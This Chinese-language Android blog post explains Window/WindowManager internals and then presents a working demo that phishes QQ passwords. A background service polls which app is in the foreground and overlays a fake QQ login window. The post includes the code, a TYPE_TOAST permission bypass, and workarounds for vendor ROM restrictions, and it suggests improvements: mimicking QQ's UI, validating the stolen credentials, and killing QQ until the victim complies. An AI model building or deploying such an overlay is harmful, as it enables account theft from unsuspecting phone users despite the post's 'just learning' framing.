最近在網(wǎng)上看見一個人在烏云上提了一個漏洞,應用可以開啟一個后臺 Service,檢測當前頂部應用,如果為 QQ 或相關應用,就彈出一個自定義 window 用來誘騙用戶輸入賬號密碼,挺感興趣的,總結相關知識寫了一個 demo,界面如下(界面粗糙,應該沒人會上當吧,意思到了就行哈=, =):
demo 地址:https://github.com/zhaozepeng/GrabQQPWD
Window&&WindowManager介紹
分析 demo 之前,先要整理總結一下相關的知識。先看看 <font color="#4FA1E0">Window</font> 類,Window 是一個抽象類,位于代碼樹 frameworks/android/view/Window.java 文件。連同注釋,這個文件總共一千多行,它概括了 Android 窗口的基本屬性和基本功能。唯一實現(xiàn)了這個抽象類的是 PhoneWindow,實例化 PhoneWindow 需要一個窗口,只需要通過 WindowManager 即可完成,Window 類的具體實現(xiàn)位于 WindowManagerService中,WindowManager 和 WindowManagerService 的交互是一個 IPC 過程。Android 中的所有視圖都是通過 Window 來呈現(xiàn)的,不管是 Activity,Dialog 還是 Toast,他們的視圖實際上都是附加在 Window 上的,因此 Window 實際上是 View 的直接管理者,點擊事件也是由 Window 傳遞給 view 的。WindowManager.LayoutParams.type 參數(shù)表示 window 的類型,共有三種類型,分別是應用 Window,子 Window 和系統(tǒng) Window。應用 Window 對應著一個 Activity,類似 Dialog 之類的子 Window 不能單獨存在,他需要附屬在應用 Window 上才可以,系統(tǒng) Window 則不需要,比如 Toast 之類,可以直接顯示。每個 Window 都有對應的 z-orderd,層級大的 Window 會覆蓋在層級小的 Window 之上,應用 Window 的層級范圍是 1~99,子 Window 的范圍是 1000~1999,系統(tǒng) Window 的范圍是 2000~2999,這些層級范圍都對應著相關的 type,type 的相關取值:<font color="#4FA1E0">官網(wǎng)鏈接</font>和<font color="#4FA1E0">中文資料</font>。WindowManager.LayoutParams.flags 參數(shù)表示 Window 的屬性,默認為 none,flags 的相關取值:<font color="#4FA1E0">官方鏈接</font>,還有其他的 LayoutParams 變量名稱和取值可以參考 <font color="#4FA1E0">WindowManager.LayoutParams(上)</font> 和 <font color="#4FA1E0">WindowManager.LayoutParams(下)</font> 兩篇譯文博客,很詳細。
再詳細分析一下 <font color="#4FA1E0">WindowManager</font>,WindowManager 主要用來管理窗口的一些狀態(tài)、屬性、view 增加、刪除、更新、窗口順序、消息收集和處理等。通過代碼 Context.getSystemService(Context.WINDOW_SERVICE)可 以獲得 WindowManager 的實例。WindowManager 所提供的功能很簡單,常用的只有三個方法,即添加 View、更新 View 和刪除 View,這三個方法定義在 <font color="#4FA1E0">ViewManager</font> 中,而 <font color="#4FA1E0">WindowManager</font> 繼承了 <font color="#4FA1E0">ViewManager</font>,
<ul><li>addView(); </li><li>updateViewLayout();</li><li>removeView(); </li></ul> 這些函數(shù)是用來修改 Window 的,它的真正實現(xiàn)是 WindowManagerImpl 類,WindowManagerImpl 這種工作模式是典型的橋接模式,Window 為抽象部分,WindowManagerImpl 為實現(xiàn)部分。WindowManagerImpl 類并沒有直接實現(xiàn) Window 的三大操作,而是全部交給了 WindowManagerGlobal 來處理,WindowManagerGlobal 以單例模式 的形式向外提供自己的實例,在 WindowManagerGlobal 中有如下一段代碼:
private final WindowManagerGlobal mGlobal = WindowManagerGlobal.getinstance()
將所有的操作全部交給 WindowManagerGlobal 來實現(xiàn),后續(xù)的分析感興趣的可以看看我的博客: java/android 設計模式學習筆記(8)---橋接模式。
View 是 Android 中視圖的呈現(xiàn)方式,但是 View 不能單獨存在,他必須要附著在 Window 這個抽象的概念上面,每一個 Window 都對應著一個 View 和一個 ViewRootImpl,Window 和 View 通過 ViewRootImpl 來建立聯(lián)系,因此有視圖的地方就有 Window,比如常見的 Activity,Dialog,Toast 等,簡化的關系如下所示:
對于每個 activity 只有一個 decorView 也就是 ViewRoot,window 是通過下面方法獲取的
Window mWindow = PolicyManager.makeNewWindow(this);
創(chuàng)建完 Window 之后,activity 會為該 Window 設置回調,Window 接收到外界狀態(tài)改變時就會回調到 activity 中。在 activity 中會調用 setContentView() 函數(shù),它是調用 window.setContentView() 完成的,而 Window 的具體實現(xiàn)是 PhoneWindow,所以最終的具體操作是在 PhoneWindow 中,PhoneWindow 的 setContentView 方法第一步會檢測 DecorView 是否存在,如果不存在,就會調用 generateDecor 函數(shù)直接創(chuàng)建一個 DecorView;第二步就是將 activity 的視圖添加到 DecorView 的 mContentParent 中;第三步是回調 activity 中的 onContentChanged 方法通知 activity 視圖已經(jīng)發(fā)生改變。這些步驟完成之后,DecorView 還沒有被 WindowManager 正式添加到 Window 中,最后調用 Activity 的 onResume 方法中的 makeVisible 方法才能真正地完成添加和現(xiàn)實過程,activity 的視圖才能被用戶看到。對 Activity 的啟動過程和 Window 的創(chuàng)建過程感興趣的可以看看我的這篇博客<font color="#4FA1E0">android 不能在子線程中更新ui的討論和分析</font>。
Dialog Window 的創(chuàng)建過程和 Activity 類似,第一步也是用 PolicyManager.makeNewWindow 方法來創(chuàng)建一個 Window,不過這里傳入的 Context 必須要為 Activity 的 context;第二步也是通過 setContentView 函數(shù)去設置 dialog 的布局視圖;第三步調用 show 方法,通過 WindowManager 將 DecorView 添加到 Window 中顯示出來。
Toast 和 Dialog 不同,它稍微復雜一點,首先 Toast 也是基于 Window 來實現(xiàn)的,但是由于 Toast 具有定時取消的這一個功能,所以系統(tǒng)采用了 Handler。在 Toast 的內部有兩類 IPC 過程,第一類是 Toast 訪問 NotificationManagerService,第二類是 NotificationManagerService 回調 Toast 里的 TN 接口。在 Toast 類中,最重要的用于顯示該 toast 的 show 方法調用了 service.enqueueToast(pkg, tn, mDuration);也就是說系統(tǒng)為我們維持了一個 toast 隊列,這也是為什么兩個 toast 不會同時顯示的原因,該方法將一個 toast 入隊,顯示則由系統(tǒng)維持顯示的時機。
private static INotificationManager sService;
static private INotificationManager getService() {
if (sService != null) {
return sService;
}
sService = INotificationManager.Stub.asInterface(ServiceManager.getService("notification"));
return sService;
}
該服務 sService 就是系統(tǒng)用于維護 toast 的服務。最后 NMS 會通過 IPC 調用 Toast 類內部的一個靜態(tài)私有類 TN,該類是 toast 的主要實現(xiàn),該類完成了 toast 視圖的創(chuàng)建,顯示和隱藏。
網(wǎng)上介紹 WindowManager 的博客很多,都寫得很好的,要具體了解的可以結合看看源碼:
http://blog.csdn.net/chenyafei617/article/details/6577940)
http://www.tuicool.com/articles/fqiyeqM
http://blog.csdn.net/xieqibao/article/details/6567814
http://www.cnblogs.com/xiaoQLu/archive/2013/05/30/3108855.html
相關資料太多了,感興趣的可以看看源碼。
騙取QQ密碼實例##
有了上面的基礎之后,這個例子其實就非常簡單了。
第一步編寫一個 Service 并且在 Service 中彈出一個自定義的 Window:
windowManager = (WindowManager) getSystemService(Context.WINDOW_SERVICE);
WindowManager.LayoutParams params = new WindowManager.LayoutParams();
params.width = WindowManager.LayoutParams.MATCH_PARENT;
params.height = WindowManager.LayoutParams.MATCH_PARENT;
params.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL;
params.type = WindowManager.LayoutParams.TYPE_SYSTEM_ERROR;
params.format = PixelFormat.TRANSPARENT;
params.gravity = Gravity.CENTER;
params.softInputMode = WindowManager.LayoutParams.SOFT_INPUT_ADJUST_PAN;
LayoutInflater inflater = LayoutInflater.from(this);
v = (RelativeLayoutWithKeyDetect) inflater.inflate(R.layout.window, null);
v.setCallback(new RelativeLayoutWithKeyDetect.IKeyCodeBackCallback() {
@Override
public void backCallback() {
if (v!=null && v.isAttachedToWindow())
L.e("remove view ");
windowManager.removeViewImmediate(v);
}
});
btn_sure = (Button) v.findViewById(R.id.btn_sure);
btn_cancel = (Button) v.findViewById(R.id.btn_cancel);
et_account = (EditText) v.findViewById(R.id.et_account);
et_pwd = (EditText) v.findViewById(R.id.et_pwd);
cb_showpwd = (CheckBox) v.findViewById(R.id.cb_showpwd);
cb_showpwd.setOnCheckedChangeListener(new CompoundButton.OnCheckedChangeListener() {
@Override
public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) {
if (isChecked) {
et_pwd.setTransformationMethod(HideReturnsTransformationMethod.getInstance());
} else {
et_pwd.setTransformationMethod(PasswordTransformationMethod.getInstance());
}
et_pwd.setSelection(TextUtils.isEmpty(et_pwd.getText()) ?
0 : et_pwd.getText().length());
}
});
//useless
// v.setOnKeyListener(new View.OnKeyListener() {
// @Override
// public boolean onKey(View v, int keyCode, KeyEvent event) {
// Log.e("zhao", keyCode+"");
// if (keyCode == KeyEvent.KEYCODE_BACK) {
// windowManager.removeViewImmediate(v);
// return true;
// }
// return false;
// }
// });
//點擊外部消失
v.setOnTouchListener(new View.OnTouchListener() {
@Override
public boolean onTouch(View view, MotionEvent event) {
Rect temp = new Rect();
view.getGlobalVisibleRect(temp);
L.e("remove view ");
if (temp.contains((int)(event.getX()), (int)(event.getY()))){
windowManager.removeViewImmediate(v);
return true;
}
return false;
}
});
btn_sure.setOnClickListener(this);
btn_cancel.setOnClickListener(this);
L.e("add view ");
windowManager.addView(v, params);
這里有幾點需要說明一下,<ul><li><font color='red'>對懸浮窗權限的詳細介紹請看我的另一篇博客: Android 懸浮窗各機型各系統(tǒng)適配大全</font>;</li><li>第一個是 type 使用 TYPE_TOAST 而不是用 TYPE_SYSTEM_ERROR 是可以繞過權限的,這個是在知乎上看見有人說的一個漏洞,哈哈,但是因為在這個 Window 中有 edittext 控件,如果設置為 toast,軟鍵盤是沒法把布局頂上去的,只有 TYPE_SYSTEM_ERROR 可以將布局頂上去,如果想用 toast 繞過權限,布局就得自己精心去設計了;</li><li>第二個是因為有 Edittext,所以 softInputMode 需要設置為 SOFT_INPUT_ADJUST_PAN,要不然軟鍵盤會覆蓋 Window;</li><li>第三個是返回鍵的監(jiān)聽,setOnKeyListener 是不好用的,最后只能復寫 View 類的 dispatchKeyEvent 函數(shù)來實現(xiàn)按鍵監(jiān)聽了;</li><li>第四個是點擊外部消失的操作,看代碼就會明白了;</li><li>第五個,獲取頂部應用的權限問題,在這里非常感謝 @android_jiajia 朋友,提醒了一下,在 5.0 之前,5.0~5.1.1,5.1.1 之后獲取頂部應用的方式其實是不一樣的,getTopActivityBeforeL(),getTopActivityBeforeLMAfterL(),getTopActivityAfterLM(),特別要說明的是 LM 版本之后如果要去獲取頂部應用使用的 getAppTasks 方法時需要用戶手動去開啟權限的,但是這不就暴露了么,剛開始找到了一個 github 庫去解決 https://github.com/jaredrummler/AndroidProcesses,因為 android 底層還是linux內核,所以 /proc 的系統(tǒng)目錄下會有進程的相關信息,原理就是基于此,但是最后依舊獲取不到頂部的應用,最后沒辦法了,只能夠使用動態(tài)申請權限的方案了 <font color="#4FA1E0">PACKAGE_USAGE_STATS</font>。</li><li>第六個是在 6.0 的系統(tǒng)上,單單 Manifest 靜態(tài)注冊是不管用的,直接使用 WindowManager.LayoutParams.TYPE_SYSTEM_ERROR 是會直接崩潰,具體可以看看我的這篇博客 <font color="#4FA1E0">android permission權限與安全機制解析(下)</font>,這個我在代碼中也做好了適配。不過好消息是使用第一條我介紹的 TYPE_TOAST 依舊是可以繞過權限的,軟鍵盤覆蓋問題其實可以把布局挪上去就可以了。</li></ul>
實現(xiàn)了彈出框的彈出之后,接著就要設置一個實時監(jiān)聽,開啟一個線程,每隔幾秒去監(jiān)聽用戶正在操作的應用是否是 QQ,這個就簡單多了,使用 ActivityManager 就可以了:
new Thread(new Runnable() {
@Override
public void run() {
while (isRunning){
L.e("running");
try {
Thread.sleep(3000);
} catch (InterruptedException e) {
e.printStackTrace();
}
if (isAppForground("com.tencent.mobileqq")){
myHandler.sendEmptyMessage(1);
}
}
}
}).start();
獲取頂部應用適配方法
private boolean isAppForeground(String appName){
if (Build.VERSION.SDK_INT < Build.VERSION_CODES.LOLLIPOP){
return appName.equals(getTopActivityBeforeL());
}else if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP_MR1){
return appName.equals(getTopActivityAfterLM());
}else{
return appName.equals(getTopActivityBeforeLMAfterL());
}
}
//5.0之前可以使用getRunningAppProcesses()函數(shù)獲取
private String getTopActivityBeforeL(){
ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
final List<ActivityManager.RunningAppProcessInfo> taskInfo = activityManager.getRunningAppProcesses();
return taskInfo.get(0).processName;
}
//http://stackoverflow.com/questions/24625936/getrunningtasks-doesnt-work-in-android-l
//processState只能在21版本之后使用
private String getTopActivityBeforeLMAfterL() {
final int PROCESS_STATE_TOP = 2;
Field field = null;
ActivityManager.RunningAppProcessInfo currentInfo = null;
try {
field = ActivityManager.RunningAppProcessInfo.class.getDeclaredField("processState");
} catch (Exception ignored) {
}
ActivityManager activityManager = (ActivityManager)getSystemService(Context.ACTIVITY_SERVICE);
final List<ActivityManager.RunningAppProcessInfo> processInfos = activityManager.getRunningAppProcesses();
for (ActivityManager.RunningAppProcessInfo processInfo : processInfos) {
if (processInfo.importance == ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND
&& processInfo.importanceReasonCode == ActivityManager.RunningAppProcessInfo.REASON_UNKNOWN) {
Integer state = null;
try {
state = field.getInt(processInfo);
} catch (Exception e) {
}
if (state != null && state == PROCESS_STATE_TOP) {
currentInfo = processInfo;
break;
}
}
}
return currentInfo!=null ? currentInfo.processName : null;
}
//注:6.0之后此方法也不太好用了
//http://stackoverflow.com/questions/30619349/android-5-1-1-and-above-getrunningappprocesses-returns-my-application-packag
// private String getTopActivityAfterLM(){
// ActivityManager.RunningAppProcessInfo topActivity =
// ProcessManager.getRunningAppProcessInfo(this).get(0);
// return topActivity.processName;
// }
@TargetApi(Build.VERSION_CODES.LOLLIPOP_MR1)
private String getTopActivityAfterLM() {
try {
UsageStatsManager usageStatsManager = (UsageStatsManager) getSystemService(Context.USAGE_STATS_SERVICE);
long milliSecs = 60 * 1000;
Date date = new Date();
List<UsageStats> queryUsageStats = usageStatsManager.queryUsageStats(UsageStatsManager.INTERVAL_DAILY, date.getTime() - milliSecs, date.getTime());
if (queryUsageStats.size() <= 0) {
return null;
}
long recentTime = 0;
String recentPkg = "";
for (int i = 0; i < queryUsageStats.size(); i++) {
UsageStats stats = queryUsageStats.get(i);
if (stats.getLastTimeStamp() > recentTime) {
recentTime = stats.getLastTimeStamp();
recentPkg = stats.getPackageName();
}
}
return recentPkg;
} catch (Exception e) {
e.printStackTrace();
}
return "";
}
<font color='red'>PS:小米手機的 ROM 官方禁止了這些行為,不管是 getRunningAppProcesses,getRunningTasks,和 ProcessManager 都只能返回自己和系統(tǒng)應用的列表,怎么搞?</font>
http://www.miui.com/forum.php?mod=viewthread&tid=2866840
更新,不光這樣,在最新版本的小米 ROM 中,Manifest 文件中申請了
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
權限,使用 WindowManager.LayoutParams.TYPE_SYSTEM_ERROR 還是無法彈出 Window,小米 ROM 需要特殊處理一下,具體的可以看看我的一個開源項目:Android 懸浮窗權限各機型各系統(tǒng)適配大全,大家感興趣的可以參與進來。
這樣效果就差不多了,最后在Activity中啟動該Service即可,當然這個還有很多改進的余地:
1. 修改 UI,使之更加的和 QQ 風格相似。
2. 用戶輸入完賬號和密碼之后,可以 addView 一個 loadingDialog,接著調用相關接口去驗證用戶名和密碼的正確性,不正確提示用戶重新輸入。
3. 如果用戶不輸入賬號和密碼,直接調用 killBackgrondProcess 函數(shù)(需要權限),強硬的把 QQ 關閉,直到用戶輸入賬號和密碼。
當然了,這只是學習知識而已,大家開心就好啊  ̄? ̄。